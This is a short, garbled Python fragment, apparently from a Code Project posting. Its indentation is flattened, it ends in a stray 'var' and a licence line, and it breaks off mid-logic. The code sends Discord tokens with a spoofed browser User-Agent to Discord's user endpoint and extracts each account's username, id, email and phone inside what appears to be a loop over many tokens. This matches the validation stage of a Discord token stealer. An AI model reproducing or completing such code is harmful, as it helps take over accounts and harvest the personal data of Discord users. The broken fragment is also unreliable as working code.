def getHeader(token=None, content_type="application/json"): headers = { "Content-Type": content_type, "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36" } if token: headers.update({"Authorization": token}) return headers def getUserData(token): try: return loads( urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getHeader(token))).read().decode()) except: pass user_data = getUserData(token) if not user_data: continue username = user_data["username"] user_id = user_data["id"] email = user_data.get("email") phone = user_data.get("phone")
var
This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)